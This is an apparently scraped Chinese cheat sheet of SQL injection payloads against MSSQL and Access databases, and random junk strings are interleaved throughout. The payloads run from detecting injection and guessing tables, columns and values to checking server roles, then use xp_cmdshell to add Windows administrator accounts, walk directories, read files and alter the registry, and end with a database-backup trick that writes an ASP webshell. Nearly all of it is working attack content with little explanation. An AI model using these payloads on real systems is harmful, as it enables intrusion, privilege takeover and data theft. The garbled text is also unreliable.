1.判断是否有注入;and 1=1 ;and 1=2 5 r_Z3/%
2.初步判断是否是mssql ;and user>0 9wGsHf8]
Eu"8IM!%-
3.注入参数是字符'and [查询条件] and ''=' +]( y
x-ue1
4.搜索时没过滤参数的'and [查询条件] and '%25'=' :) -`
QG~6mvD
5.判断数据库系统 <y~Ba@1u
:).NA
]
;and (select count(*) from sysobjects)>0 mssql ,Wu$@jD/]
ceD6q~)
;and (select count(*) from msysobjects)>0 access -y|']I^ &
jAue+tB
)!cucY
x3#:C=
6.猜数据库 ;and (select Count(*) from [数据库名])>0 T0"nzukd
>3B{sn}
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 L-rV+?i`6f
izGU&VeB
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 }$L1A
WQze|b%
9.(1)猜字段的ascii值(access) Y<(7u`F
}7b{ZbDI
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 C4`&_yoP4-
IDD`N{EA
(2)猜字段的ascii值(mssql) TQNdBq5I6
m ie~.
"
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 XTk
:lzFH
%t!r
pyD
10.测试权限结构(mssql) (Fuu V{x|
WAR!#E#J7
_e;bB?S
*i#N50k*j'
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- F.i}&UQ%
+Yq?:uBV
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- pY3/AO=
.d[^&<^
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- y=f.;
wb(S7OsMO
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 5lP8#O?=
B[EOz\?=m
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- NB'G{),)Z
r(Z?Fs/
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- hEZo{0:b"
[A{o"zY
;and 1=(select IS_MEMBER('db_owner'));-- RsS:I6L
oQV3
,30lu a
sb3z8:r
11.添加mssql和系统的帐户 `MCtm(<
3fpaTue|x
;exec master.dbo.sp_addlogin username;-- ]+a~/
;exec master.dbo.sp_password null,username,password;-- zA+0jhuG
O;V^Fk(
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- .E+O,@?<
/ar0K9`c
;exec master.dbo.xp_cmdshell 'net user username password C@t,oDU#
yih|6sd$F
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- 2Og5e
l/B+k
;exec master.dbo.xp_cmdshell 'net user username password /add';-- i<>%y*+@
L>E;cDB
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- F:#5Edo}A
8(y%]#n
?SO!INJ
zh=0zJ
12.(1)遍历目录 @6+_0^
"$J5cco
;create table dirs(paths varchar(100), id int) Yy]TU} PY
|.yS~XFJS
;insert dirs exec master.dbo.xp_dirtree 'c:\' _[(EsIqc(F
Pw]r&)I`y[
;and (select top 1 paths from dirs)>0 lfCr`[!E
;/wH/!b
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) z^T;d^OJc
nHDKe)V
IgwHC0W
^q/$a2<4
(2)遍历目录 X)Tyxppf'
/=AFle2(
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 3)o>sp)Ji$
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 [.xc`CF
3]lq#p:
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 RdyKd_0`Q
}|) N5bGQe
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 4ME$Z>eN
fH_l2b[-3@
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 kb"Fw:0
q27q/q8
`EvO^L
<o3I<ci6
13.mssql中的存储过程 FJ!`[.t1AU
M;3q.0MU
xp_regenumvalues 注册表根键, 子键 !T:7xEr
4Y3@^8h&=
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 No[9m_
q&&"8.w-
xp_regread 根键,子键,键值名 U&Atgv
o$% KbfXO]
;exec xp_regread TNN@G~@cm
AX6:*aZB
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 K8-1?-W
R1Q,m
xp_regwrite 根键,子键, 值名, 值类型, 值 5Rw2/J
L
e:4,rfF1
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 hJ[keaO
JBOU$A~
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 Lk$Mfm5"M
KQ6][2-
xp_regdeletevalue 根键,子键,值名 R)$]r>YZF
<Z_\2
YWA
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 ;@gI*i
N"
cL.>e=x$
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 v^Fu/Y
62.Cq!~
RL]$"
Xg1TX_3Ml
14.mssql的backup创建webshell dxZn| Y
tP2.D:( R
use model *&]8rm{
TxN+-< f
create table cmd(str image); WL'!M&h
dQ_'8
)
insert into cmd(str) values (''); NM),2% <
.=G3wox3
backup database model to disk='c:\l.asp'; s[UV(::E
hR2 R
c w)J+Lyh
FqnD"]A
15.mssql内置函数 + `'wY?
U+4[w`a}
;and (select @@version)>0 获得Windows的版本号 ]g oVQ'Y
4, Vx3QFZ
;and user_name()='dbo' 判断当前系统的连接用户是不是sa =s'H o
^!k_"C)B
;and (select user_name())>0 爆当前系统的连接用户 H=WB6~8)
&"T7KXx
;and (select db_name())>0 得到当前连接的数据库 IIXA)b!
YKayaI\*
?*kB>U9e
Er$&}9G+-
16.简洁的webshell !nsr( 7X2
Q;=4']hYU
use model S{]3e-?
=x(k)RTDu
create table cmd(str image); ^c.pvC"4j
fMW=ss^fu-
insert into cmd(str) values (''); d_Zj W
m432,8 K3r
backup database model to disk='g:\wwwtest\l.asp';